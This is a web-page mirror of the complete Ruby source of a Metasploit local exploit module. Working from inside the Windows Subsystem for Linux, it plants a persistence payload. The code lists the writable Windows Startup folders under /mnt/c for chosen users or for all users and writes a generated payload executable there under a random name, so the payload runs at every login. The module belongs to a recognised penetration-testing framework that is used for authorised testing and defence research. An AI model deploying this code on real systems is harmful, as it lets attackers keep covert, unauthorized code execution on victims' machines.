Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/wsl/startup_folder.rb
36042 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::EXE
11
include Msf::Exploit::Local::Persistence
12
include Msf::Post::Linux::Wsl
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Linux WSL via Startup Folder Persistence',
20
'Description' => %q{
21
This module establishes persistence by creating a payload in the windows startup folder from within
22
the Windows Subsystem for Linux (WSL) environment. This allows for code execution on Windows user login.
23
24
Verified on Windows 10 with Ubuntu 24.04 WSL distribution.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [ 'h00die' ],
28
'Platform' => [ 'win' ],
29
'SessionTypes' => [ 'meterpreter', 'shell' ],
30
'Targets' => [
31
[ 'Automatic', {} ]
32
],
33
'DefaultTarget' => 0,
34
'References' => [
35
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
36
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
37
],
38
'DisclosureDate' => '2016-08-02', # WSL release date
39
'Notes' => {
40
'Stability' => [CRASH_SAFE],
41
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
42
'SideEffects' => [ARTIFACTS_ON_DISK]
43
}
44
)
45
)
46
47
register_options(
48
[
49
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
50
OptEnum.new('CONTEXT', [false, 'Target each User or All Users (system)', 'USER', ['USER', 'SYSTEM'] ]),
51
OptString.new('USER', [false, 'The user to target, or ALL for all users.', 'ALL'], conditions: ['CONTEXT', '==', 'USER'])
52
]
53
)
54
end
55
56
def exploitable_folders
57
can_do = []
58
if datastore['CONTEXT'] == 'USER'
59
root = '/mnt/c/Users'
60
tail = '/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup'
61
user_folders = dir(root)
62
user_folders.each do |f|
63
next if f =~ /Public$/i
64
next if f =~ /Default$/i
65
next if f =~ /Default User$/i
66
next if f =~ /All Users$/i
67
next if f =~ /desktop.ini$/i
68
next unless (f.upcase == datastore['USER'].upcase) || (datastore['USER'] == 'ALL')
69
70
folder = File.join(root, f, tail)
71
can_do << folder if directory?(folder) && writable?(folder)
72
end
73
return can_do
74
end
75
root = '/mnt/c/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup'
76
can_do << root if directory?(root) && writable?(root)
77
can_do
78
end
79
80
def check
81
return CheckCode::Safe('Target is not WSL') unless wsl?
82
83
vprint_good('Inside WSL environment')
84
85
return CheckCode::Safe('No writable startup folders found') if exploitable_folders.empty?
86
87
CheckCode::Appears('Likely exploitable')
88
end
89
90
def install_persistence
91
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
92
payload_name << '.exe' unless payload_name.downcase.end_with?('.exe')
93
payload_exe = generate_payload_exe
94
exploitable_folders.each do |folder|
95
f = File.join(folder, payload_name)
96
write_file(f, payload_exe)
97
vprint_good("Writing payload to #{f}")
98
windows_path = f.sub(%r{^/mnt/([a-z])}) { "#{::Regexp.last_match(1).upcase}:" }.gsub('/', '\\')
99
@clean_up_rc << "rm \"#{windows_path}\"\n"
100
end
101
end
102
end
103
104